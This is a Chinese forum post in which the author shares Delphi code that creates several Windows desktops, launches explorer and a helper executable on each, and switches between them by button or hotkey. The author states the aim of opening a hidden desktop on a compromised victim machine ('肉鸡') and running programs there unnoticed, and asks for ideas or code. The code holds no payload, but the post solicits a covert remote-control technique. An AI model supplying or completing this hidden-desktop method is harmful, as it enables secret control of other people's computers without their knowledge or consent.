我想在别人电脑中 开虚拟桌面 然后开程序自动运行 苦于不知道怎么利用已经找到了 开虚拟桌面的代码  
///
unit Unit1;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    Button7: TButton;
    Timer1: TTimer;
    Timer2: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  Form1: TForm1;
  h1:thandle;
  h2:thandle;
  h3:thandle;
  h4:thandle;
  h5:thandle;
  h6:thandle;
  si:TStartupInfo;
  sin:TStartupInfo;
  pin:TProcessInformation;
  s:string;
  desk:thandle;
implementation{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);  //创建桌面
begin
timer1.Interval:=50;
timer2.Interval:=1000;
sin.cb:=sizeof(sin);
sin.wShowWindow:=SW_SHOW;
sin.dwFlags:=STARTF_USESHOWWINDOW;if globalfindatom('mfk')=0 then
begin
globaladdatom('mfk');
h1:=GetThreadDesktop(GetCurrentThreadId()); //当前桌面s:='a';
sin.lpDesktop:=pchar(s);
h2:=CreateDesktop(pchar(s),nil,nil,DF_ALLOWOTHERACCOUNTHOOK,GENERIC_ALL,nil);
CreateProcess('c:\WINDOWS\explorer.exe',nil,nil,nil,False,0,nil,nil,sin,pin);
CreateProcess(pchar(extractfilepath(application.ExeName)+'双开工具.exe'),nil,nil,nil,False,0,nil,nil,sin,pin);
//桌面1
s:='b';
sin.lpDesktop:=pchar(s);
h3:=CreateDesktop('b',nil,nil,0,MAXIMUM_ALLOWED,nil);
CreateProcess('c:\WINDOWS\explorer.exe',nil,nil,nil,False,0,nil,nil,sin,pin);
CreateProcess(pchar(extractfilepath(application.ExeName)+'双开工具.exe'),nil,nil,nil,False,0,nil,nil,sin,pin);s:='c';
sin.lpDesktop:=pchar(s);
h4:=CreateDesktop('c',nil,nil,0,MAXIMUM_ALLOWED,nil);
CreateProcess('c:\WINDOWS\explorer.exe',nil,nil,nil,False,0,nil,nil,sin,pin);
CreateProcess(pchar(extractfilepath(application.ExeName)+'双开工具.exe'),nil,nil,nil,False,0,nil,nil,sin,pin);s:='d';
sin.lpDesktop:=pchar(s);
h5:=CreateDesktop('d',nil,nil,0,MAXIMUM_ALLOWED,nil);
CreateProcess('c:\WINDOWS\explorer.exe',nil,nil,nil,False,0,nil,nil,sin,pin);
CreateProcess(pchar(extractfilepath(application.ExeName)+'双开工具.exe'),nil,nil,nil,False,0,nil,nil,sin,pin);s:='e';
sin.lpDesktop:=pchar(s);
h6:=CreateDesktop('e',nil,nil,0,MAXIMUM_ALLOWED,nil);
CreateProcess('c:\WINDOWS\explorer.exe',nil,nil,nil,False,0,nil,nil,sin,pin);
CreateProcess(pchar(extractfilepath(application.ExeName)+'双开工具.exe'),nil,nil,nil,False,0,nil,nil,sin,pin);
end
else
begin
globaladdatom('mfk');
end;end;procedure TForm1.Button1Click(Sender: TObject);//切换至桌面1
begin
desk:=OpenDesktop('default',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;procedure TForm1.Button2Click(Sender: TObject); //切换至桌面2
begin
desk:=OpenDesktop('a',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;procedure TForm1.Button4Click(Sender: TObject);  //切换至桌面3
begin
desk:=OpenDesktop('b',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;procedure TForm1.Button5Click(Sender: TObject);  //切换至桌面4
begin
desk:=OpenDesktop('c',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;procedure TForm1.Button6Click(Sender: TObject);  //切换至桌面5
begin
desk:=OpenDesktop('d',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;procedure TForm1.Button7Click(Sender: TObject);  //切换至桌面6
begin
desk:=OpenDesktop('e',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;procedure TForm1.Timer1Timer(Sender: TObject);
begin
if (getasynckeystate(VK_Control)<>0) and (getasynckeystate(112)<>0) then
begin
desk:=OpenDesktop('default',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;if (getasynckeystate(VK_Control)<>0) and (getasynckeystate(113)<>0) then
begin
desk:=OpenDesktop('a',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;if (getasynckeystate(VK_Control)<>0) and (getasynckeystate(114)<>0) then
begin
desk:=OpenDesktop('b',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;if (getasynckeystate(VK_Control)<>0) and (getasynckeystate(115)<>0) then
begin
desk:=OpenDesktop('c',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;if (getasynckeystate(VK_Control)<>0) and (getasynckeystate(116)<>0) then
begin
desk:=OpenDesktop('d',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end;if (getasynckeystate(VK_Control)<>0) and (getasynckeystate(117)<>0) then
begin
desk:=OpenDesktop('e',DF_ALLOWOTHERACCOUNTHOOK,False,MAXIMUM_ALLOWED);
SwitchDesktop(desk);
end
end;procedure TForm1.FormDestroy(Sender: TObject);
begin
globaldeleteatom(globalfindatom('mfk'));
end;
procedure TForm1.Timer2Timer(Sender: TObject);
beginend;end.//
这一段是 开6个虚拟桌面的的代码
我的思路是 不被肉鸡察觉的情况下  在新开的一个桌面中放入写好自动运行的程序 达到一些正常隐藏下无法完成的目标肉鸡的桌面还是 原来那个  求思路或代码